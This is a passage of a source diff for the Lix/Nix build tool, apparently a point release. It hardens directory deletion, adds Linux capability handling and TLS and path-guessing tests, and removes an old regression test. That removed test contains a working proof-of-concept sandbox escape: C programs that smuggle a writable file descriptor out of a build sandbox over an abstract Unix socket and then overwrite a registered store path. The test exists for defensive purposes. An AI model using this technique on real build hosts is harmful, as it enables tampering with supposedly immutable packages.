AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
if (!fd) if (!fd)
@@ -350,12 +379,8 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
e.addTrace({}, "writing file '%1%'", path); e.addTrace({}, "writing file '%1%'", path);
throw; throw;
} }
if (sync)
fd.fsync(); closeForWrite(path, fd, false);
// Explicitly close to make sure exceptions are propagated.
fd.close();
if (sync)
syncParent(path);
} }
void syncParent(const Path & path) void syncParent(const Path & path)
@@ -366,16 +391,26 @@ void syncParent(const Path & path)
fd.fsync(); fd.fsync();
} }
static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed) /* TODO(horrors): a better structure that links all parent fds for the traversal root
* should be considered for this code
*/
static void _deletePath(int parentfd, const Path & name, uint64_t & bytesFreed)
{ {
/* This ensures that `name` is an immediate child of `parentfd`. */
assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`");
checkInterrupt(); checkInterrupt();
std::string name(baseNameOf(path)); /* FIXME(horrors): there's a minor TOCTOU here.
* we fstatat the inode nofollow, check if this is a directory
* and then open it.
* a better alternative is open it as O_PATH as a namefd.
* if it's a directory, it can be openat with the namefd.
*/
struct stat st; struct stat st;
if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) {
if (errno == ENOENT) return; if (errno == ENOENT) return;
throw SysError("getting status of '%1%'", path); throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
} }
if (!S_ISDIR(st.st_mode)) { if (!S_ISDIR(st.st_mode)) {
@@ -406,24 +441,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed)
/* Make the directory accessible. */ /* Make the directory accessible. */
const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR; const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR;
if ((st.st_mode & PERM_MASK) != PERM_MASK) { if ((st.st_mode & PERM_MASK) != PERM_MASK) {
if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) {
throw SysError("chmod '%1%'", path); throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
}
} }
int fd = openat(parentfd, path.c_str(), O_RDONLY); int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
if (fd == -1) if (fd == -1)
throw SysError("opening directory '%1%'", path); throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
AutoCloseDir dir(fdopendir(fd)); AutoCloseDir dir(fdopendir(fd));
if (!dir) if (!dir)
throw SysError("opening directory '%1%'", path); throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
for (auto & i : readDirectory(dir.get(), path)) for (auto & i : readDirectory(dir.get(), name))
_deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed); _deletePath(dirfd(dir.get()), i.name, bytesFreed);
} }
int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0;
if (unlinkat(parentfd, name.c_str(), flags) == -1) { if (unlinkat(parentfd, name.c_str(), flags) == -1) {
if (errno == ENOENT) return; if (errno == ENOENT) return;
throw SysError("cannot unlink '%1%'", path); throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
} }
} }
@@ -439,7 +475,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed)
throw SysError("opening directory '%1%'", path); throw SysError("opening directory '%1%'", path);
} }
_deletePath(dirfd.get(), path, bytesFreed); _deletePath(dirfd.get(), baseNameOf(path).data(), bytesFreed);
} }
+9 -2
View File
@@ -164,9 +164,16 @@ Generator<Bytes> readFileSource(const Path & path);
/** /**
* Write a string to a file. * Write a string to a file.
*/ */
void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); void writeFile(const Path & path, std::string_view s, mode_t mode = 0666);
void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); void writeFile(const Path & path, Source & source, mode_t mode = 0666);
void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode = 0666);
/**
* Write a string to a file and flush the file and its parents direcotry to disk.
*/
void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666);
/** /**
* Flush a file's parent directory to disk * Flush a file's parent directory to disk
+69 -5
View File
@@ -21,6 +21,7 @@
#endif #endif
#ifdef __linux__ #ifdef __linux__
# include <linux/capability.h>
# include <sys/prctl.h> # include <sys/prctl.h>
# include <sys/mman.h> # include <sys/mman.h>
#endif #endif
@@ -248,7 +249,7 @@ std::pair<int, std::string> runProgram(RunOptions && options)
try { try {
auto proc = runProgram2(options); auto proc = runProgram2(options);
Finally const _wait([&] { proc.wait(); }); Finally const _wait([&] { proc.waitAndCheck(); });
stdout = proc.getStdout()->drain(); stdout = proc.getStdout()->drain();
} catch (ExecError & e) { } catch (ExecError & e) {
status = e.status; status = e.status;
@@ -276,7 +277,22 @@ RunningProgram::~RunningProgram()
} }
} }
void RunningProgram::wait() std::tuple<pid_t, std::unique_ptr<Source>, int> RunningProgram::release()
{
return {pid.release(), std::move(stdoutSource), stdout_.release()};
}
int RunningProgram::kill()
{
return pid.kill();
}
int RunningProgram::wait()
{
return pid.wait();
}
void RunningProgram::waitAndCheck()
{ {
if (std::uncaught_exceptions() == 0) { if (std::uncaught_exceptions() == 0) {
int status = pid.wait(); int status = pid.wait();
@@ -314,12 +330,21 @@ RunningProgram runProgram2(const RunOptions & options)
replaceEnv(*options.environment); replaceEnv(*options.environment);
if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1)
throw SysError("dupping stdout"); throw SysError("dupping stdout");
if (options.mergeStderrToStdout) for (auto redirection : options.redirections) {
if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) if (dup2(redirection.to, redirection.from) == -1) {
throw SysError("cannot dup stdout into stderr"); throw SysError("dupping fd %i to %i", redirection.from, redirection.to);
}
}
if (options.chdir && chdir((*options.chdir).c_str()) == -1) if (options.chdir && chdir((*options.chdir).c_str()) == -1)
throw SysError("chdir failed"); throw SysError("chdir failed");
#if __linux__
if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) {
throw SysError("setting keep-caps failed");
}
#endif
if (options.gid && setgid(*options.gid) == -1) if (options.gid && setgid(*options.gid) == -1)
throw SysError("setgid failed"); throw SysError("setgid failed");
/* Drop all other groups if we're setgid. */ /* Drop all other groups if we're setgid. */
@@ -328,6 +353,45 @@ RunningProgram runProgram2(const RunOptions & options)
if (options.uid && setuid(*options.uid) == -1) if (options.uid && setuid(*options.uid) == -1)
throw SysError("setuid failed"); throw SysError("setuid failed");
#if __linux__
if (!options.caps.empty()) {
if (prctl(PR_SET_KEEPCAPS, 0)) {
throw SysError("clearing keep-caps failed");
}
// we do the capability dance like this to avoid a dependency
// on libcap, which has a rather large build closure and many
// more features that we need for now. maybe some other time.
static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522;
static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2;
struct user_cap_header_struct
{
uint32_t version;
int pid;
} hdr = {LINUX_CAPABILITY_VERSION_3, 0};
struct user_cap_data_struct
{
uint32_t effective;
uint32_t permitted;
uint32_t inheritable;
} data[LINUX_CAPABILITY_U32S_3] = {};
for (auto cap : options.caps) {
assert(cap / 32 < LINUX_CAPABILITY_U32S_3);
data[cap / 32].permitted |= 1 << (cap % 32);
data[cap / 32].inheritable |= 1 << (cap % 32);
}
if (syscall(SYS_capset, &hdr, data)) {
throw SysError("couldn't set capabilities");
}
for (auto cap : options.caps) {
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) {
throw SysError("couldn't set ambient caps");
}
}
}
#endif
Strings args_(options.args); Strings args_(options.args);
args_.push_front(options.program); args_.push_front(options.program);
+24 -2
View File
@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false,
struct RunOptions struct RunOptions
{ {
struct Redirection
{
int from, to;
};
Path program; Path program;
bool searchPath = true; bool searchPath = true;
Strings args; Strings args;
@@ -84,8 +89,11 @@ struct RunOptions
std::optional<Path> chdir; std::optional<Path> chdir;
std::optional<std::map<std::string, std::string>> environment; std::optional<std::map<std::string, std::string>> environment;
bool captureStdout = false; bool captureStdout = false;
bool mergeStderrToStdout = false;
bool isInteractive = false; bool isInteractive = false;
std::vector<Redirection> redirections;
#if __linux__
std::set<long> caps;
#endif
}; };
struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
@@ -102,9 +110,23 @@ private:
public: public:
RunningProgram() = default; RunningProgram() = default;
RunningProgram(RunningProgram &&) = default;
RunningProgram & operator=(RunningProgram &&) = default;
~RunningProgram(); ~RunningProgram();
void wait(); explicit operator bool() const { return bool(pid); }
std::tuple<pid_t, std::unique_ptr<Source>, int> release();
int kill();
[[nodiscard]]
int wait();
void waitAndCheck();
std::optional<int> getStdoutFD() const
{
return stdout_ ? std::optional(stdout_.get()) : std::nullopt;
}
Source * getStdout() const { return stdoutSource.get(); }; Source * getStdout() const { return stdoutSource.get(); };
}; };
@@ -8,7 +8,6 @@ requireSandboxSupport
[[ $busybox =~ busybox ]] || skipTest "no busybox" [[ $busybox =~ busybox ]] || skipTest "no busybox"
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
# We first build a dependency of the derivation we eventually want to # We first build a dependency of the derivation we eventually want to
# build. # build.
@@ -2,7 +2,6 @@ requireSandboxSupport
[[ $busybox =~ busybox ]] || skipTest "no busybox" [[ $busybox =~ busybox ]] || skipTest "no busybox"
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
remoteDir=$TEST_ROOT/remote remoteDir=$TEST_ROOT/remote
-1
View File
@@ -3,7 +3,6 @@ requireSandboxSupport
# Avoid store dir being inside sandbox build-dir # Avoid store dir being inside sandbox build-dir
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; } function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; }
+5
View File
@@ -170,3 +170,8 @@ test "$(<<<"$out" grep -E '^error:' | wc -l)" = 3
<<<"$out" grepQuiet -E "error: 2 dependencies of derivation '.*-x4\\.drv' failed to build" <<<"$out" grepQuiet -E "error: 2 dependencies of derivation '.*-x4\\.drv' failed to build"
<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'" <<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'"
<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'" <<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'"
# Ensure when if the system build dir is inaccessible, we can still build things
BUILD_DIR=$(mktemp -d)
chmod 0000 "$BUILD_DIR"
nix --build-dir "$BUILD_DIR" build -E 'with import ./config.nix; mkDerivation { name = "test"; buildCommand = "echo rawr > $out"; }' --impure --no-link
-1
View File
@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash <<EOF
# Avoid store dir being inside sandbox build-dir # Avoid store dir being inside sandbox build-dir
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
setLocalStore () { setLocalStore () {
export NIX_REMOTE=\$TEST_ROOT/\$1 export NIX_REMOTE=\$TEST_ROOT/\$1
-90
View File
@@ -1,90 +0,0 @@
# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around!
# This makes it possible to exfiltrate a file-descriptor with write access to
# $out outside of the sandbox. And that file-descriptor can be used to modify
# the contents of the store path after it has been registered.
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
# Simple C program that sends a a file descriptor to `$out` to a Unix
# domain socket.
# Compiled statically so that we can easily send it to the VM and use it
# inside the build sandbox.
sender = pkgs.runCommandWith {
name = "sender";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./sender.c}
'';
# Okay, so we have a file descriptor shipped out of the FOD now. But the
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
# lives in a mount namespace where it is not! So even when this file exists
# in the actual Nix store, we're capable of just modifying its contents...
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
# The abstract socket path used to exfiltrate the file descriptor
socketName = "FODSandboxExfiltrationSocket";
in
{
name = "ca-fd-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
};
testScript = { nodes }: ''
start_all()
machine.succeed("echo hello")
# Start the smuggler server
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
# Build the smuggled derivation.
# This will connect to the smuggler server and send it the file descriptor
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "smuggled";
system = builtins.currentSystem;
# look ma, no tricks!
outputHashMode = "flat";
outputHashAlgo = "sha256";
outputHash = builtins.hashString "sha256" "hello, world\n";
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
}'
""".strip())
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
# Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}
-65
View File
@@ -1,65 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up a abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}
-66
View File
@@ -1,66 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");
res = listen(sock, 1);
if (res < 0) perror("listen");
int smuggling_fd = -1;
// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
close(a);
// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
if (written_bytes != strlen(new_content)) perror("write");
}
+2 -2
View File
@@ -142,8 +142,6 @@ in
["i686-linux" "x86_64-linux"] ["i686-linux" "x86_64-linux"]
(system: runNixOSTestFor system ./setuid/setuid.nix); (system: runNixOSTestFor system ./setuid/setuid.nix);
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
@@ -157,4 +155,6 @@ in
coredumps = runNixOSTestFor "x86_64-linux" ./coredumps; coredumps = runNixOSTestFor "x86_64-linux" ./coredumps;
io_uring = runNixOSTestFor "x86_64-linux" ./io_uring; io_uring = runNixOSTestFor "x86_64-linux" ./io_uring;
fetchurl = runNixOSTestFor "x86_64-linux" ./fetchurl.nix;
} }
+84
View File
@@ -0,0 +1,84 @@
# Test whether builtin:fetchurl properly performs TLS certificate
# checks on HTTPS servers.
{ lib, config, pkgs, ... }:
let
makeTlsCert = name: pkgs.runCommand name {
nativeBuildInputs = with pkgs; [ openssl ];
} ''
mkdir -p $out
openssl req -x509 \
-subj '/CN=${name}/' -days 49710 \
-addext 'subjectAltName = DNS:${name}' \
-keyout "$out/key.pem" -newkey ed25519 \
-out "$out/cert.pem" -noenc
'';
goodCert = makeTlsCert "good";
badCert = makeTlsCert "bad";
in
{
name = "fetchurl";
nodes = {
machine = { lib, pkgs, ... }: {
services.nginx = {
enable = true;
virtualHosts."good" = {
addSSL = true;
sslCertificate = "${goodCert}/cert.pem";
sslCertificateKey = "${goodCert}/key.pem";
root = pkgs.runCommand "nginx-root" {} ''
mkdir "$out"
echo 'hello world' > "$out/index.html"
'';
};
virtualHosts."bad" = {
addSSL = true;
sslCertificate = "${badCert}/cert.pem";
sslCertificateKey = "${badCert}/key.pem";
root = pkgs.runCommand "nginx-root" {} ''
mkdir "$out"
echo 'foobar' > "$out/index.html"
'';
};
};
security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
networking.hosts."192.168.1.1" = [ "good" "bad" ];
virtualisation.writableStore = true;
nix.settings.experimental-features = "nix-command";
};
};
testScript = { nodes, ... }: ''
machine.wait_for_unit("nginx")
machine.wait_for_open_port(443)
out = machine.succeed("curl https://good/index.html")
assert out == "hello world\n"
out = machine.succeed("cat ${badCert}/cert.pem > /tmp/cafile.pem; curl --cacert /tmp/cafile.pem https://bad/index.html")
assert out == "foobar\n"
# Fetching from a server with a trusted cert should work.
machine.succeed("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://good/index.html\"; hash = \"sha256-qUiQTy8PR5uPgZdpSzAYSw0u0cHNKh7A+4XSmaGSpEc=\"; }'")
# Fetching from a server with an untrusted cert should fail.
err = machine.fail("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }' 2>&1")
print(err)
assert "SSL certificate problem: self-signed certificate" in err or "SSL peer certificate or SSH remote key was not OK" in err
# Fetching from a server with a trusted cert should work via environment variable override.
machine.succeed("NIX_SSL_CERT_FILE=/tmp/cafile.pem nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }'")
'';
}
@@ -0,0 +1,16 @@
#include "test-data.hh"
#include "strings.hh"
namespace nix {
Path getUnitTestData()
{
return getEnv("_NIX_TEST_UNIT_DATA").value();
}
Path getUnitTestDataPath(std::string_view path)
{
return absPath(getUnitTestData() + "/" + path);
}
}
@@ -0,0 +1,20 @@
#pragma once
#include "types.hh"
#include "environment-variables.hh"
#include "file-system.hh"
namespace nix {
/**
* The path to the unit test data directory. See the contributing guide
* in the manual for further details.
*/
Path getUnitTestData();
/**
* Resolve a path under the unit test data directory to an absolute path.
*/
Path getUnitTestDataPath(std::string_view path);
}
+81
View File
@@ -3,6 +3,8 @@
#include "strings.hh" #include "strings.hh"
#include "types.hh" #include "types.hh"
#include "terminal.hh" #include "terminal.hh"
#include "unix-domain-socket.hh"
#include "tests/test-data.hh"
#include <gtest/gtest.h> #include <gtest/gtest.h>
@@ -207,6 +209,85 @@ namespace nix {
ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes")); ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes"));
} }
/* ----------------------------------------------------------------------------
* AutoCloseFD::guessOrInventPath
* --------------------------------------------------------------------------*/
void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) {
{
SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path));
ASSERT_TRUE(fd);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
}
{
SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path));
deletePath(path);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
}
}
TEST(guessOrInventPath, files) {
Path filePath = getUnitTestDataPath("guess-or-invent/test.txt");
createDirs(dirOf(filePath));
writeFile(filePath, "some text");
AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)};
testGuessOrInventPathPrePostDeletion(file, filePath);
}
TEST(guessOrInventPath, directories) {
Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir");
createDirs(dirPath);
AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)};
testGuessOrInventPathPrePostDeletion(directory, dirPath);
}
#ifdef O_PATH
TEST(guessOrInventPath, symlinks) {
Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink");
Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere");
createDirs(dirOf(symlinkPath));
createSymlink(targetPath, symlinkPath);
AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
testGuessOrInventPathPrePostDeletion(symlink, symlinkPath);
}
TEST(guessOrInventPath, fifos) {
Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo");
createDirs(dirOf(fifoPath));
ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0);
AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
testGuessOrInventPathPrePostDeletion(fifo, fifoPath);
}
#endif
TEST(guessOrInventPath, pipes) {
int pipefd[2];
ASSERT_TRUE(pipe(pipefd) == 0);
AutoCloseFD pipe_read{pipefd[0]};
ASSERT_TRUE(pipe_read);
AutoCloseFD pipe_write{pipefd[1]};
ASSERT_TRUE(pipe_write);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0);
pipe_write.close();
ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
pipe_read.close();
}
TEST(guessOrInventPath, sockets) {
Path socketPath = getUnitTestDataPath("guess-or-invent/socket");
createDirs(dirOf(socketPath));
AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666);
testGuessOrInventPathPrePostDeletion(socket, socketPath);
}
/* ---------------------------------------------------------------------------- /* ----------------------------------------------------------------------------
* concatStringsSep * concatStringsSep
* --------------------------------------------------------------------------*/ * --------------------------------------------------------------------------*/
+1
View File
@@ -19,6 +19,7 @@ libutil_test_support_sources = files(
'libutil-support/tests/cli-literate-parser.cc', 'libutil-support/tests/cli-literate-parser.cc',
'libutil-support/tests/hash.cc', 'libutil-support/tests/hash.cc',
'libutil-support/tests/terminal-code-eater.cc', 'libutil-support/tests/terminal-code-eater.cc',
'libutil-support/tests/test-data.cc',
) )
libutil_test_support = library( libutil_test_support = library(
'lixutil-test-support', 'lixutil-test-support',
+2 -2
View File
@@ -1,5 +1,5 @@
{ {
"version": "2.91.0", "version": "2.91.3",
"official_release": false, "official_release": true,
"release_name": "Dragon's Breath" "release_name": "Dragon's Breath"
} }